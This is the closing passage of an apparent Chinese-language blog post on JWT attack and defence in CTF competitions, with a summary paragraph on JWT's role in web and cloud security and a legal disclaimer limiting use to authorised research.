  • 输出至SIEM系统(如ELK、Splunk)

综上所述,JWT不仅是当前CTF竞赛的核心题型,更是连接传统Web安全与现代云安全的重要桥梁。未来CTF题目将更加注重多组件交互、跨协议攻击、真实环境模拟,而JWT将继续扮演“钥匙”角色,在各类复杂场景中释放巨大的研究潜力。对于安全研究人员而言,深入掌握JWT的攻防原理,既是赢得比赛的关键,也是应对现实威胁的基础能力。

法律风险提示:本文内容仅用于网络安全技术研究与教育目的,请勿在未经授权的系统上实施任何渗透测试行为。遵守《网络安全法》及相关法律法规,合法合规开展安全工作。

posted @ 2025-10-29 16:29  云梦花溪,王者武库  阅读(30)  评论(0)    收藏  举报